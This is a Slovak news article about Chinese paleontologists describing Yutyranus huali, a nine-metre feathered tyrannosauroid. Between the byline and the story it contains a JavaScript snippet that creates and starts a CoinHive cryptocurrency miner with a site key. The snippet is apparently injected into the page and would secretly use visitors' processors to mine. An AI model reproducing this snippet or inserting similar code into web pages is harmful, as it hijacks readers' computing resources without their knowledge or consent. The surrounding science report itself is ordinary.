

Yutyranus huali bol najväčším operencom na svete

Napísal Admin

Štvrtok, 05 Apríl 2012 16:40

var miner = new

```
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU  
D87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();
```



BRATISLAVA 5. apríla (WEBNOVINY) - Paleontológovia z Čínskej akadémie vied v Pekingu na čele so Singom Suom popísali doteraz neznámy druh mäsožravého dinosaura z nadčelade Tyrannosauroida, ktorý bol s dĺžkou deväť metrov a hmotnosťou 1400 kilogramov zatiaľ najväčším známym opereným živočíchom.

Yutyranus huali, ako Su s kolegami tohto príbuzného Tyrannosaura rexa pomenoval, žil pred približne 125 miliónmi rokov na území dnešnej čínskej provincie Liao-ning. Objav tohto druhu je prvým priamym dôkazom existencie veľkých operených dinosaurov.

Paleontológovia objavili tri takmer kompletne fosilizované kostry Yutyranu, z ktorých dve patrili dospelým jedincom a tretia mláďaťu. Perie tohto druhu pokrývalo takmer celé telo a pravdepodobne slúžilo najmä na reguláciu teploty.

Dospelé jedince však mali na vrchu papule hrebeň z peria, ktorý podľa všetkého používali ako vizuálny signál pri rozmnožovaní alebo súbojoch. Vedci o svojom objave informovali v časopise Nature. Informácie pochádzajú z webstránky www.bbc.co.uk.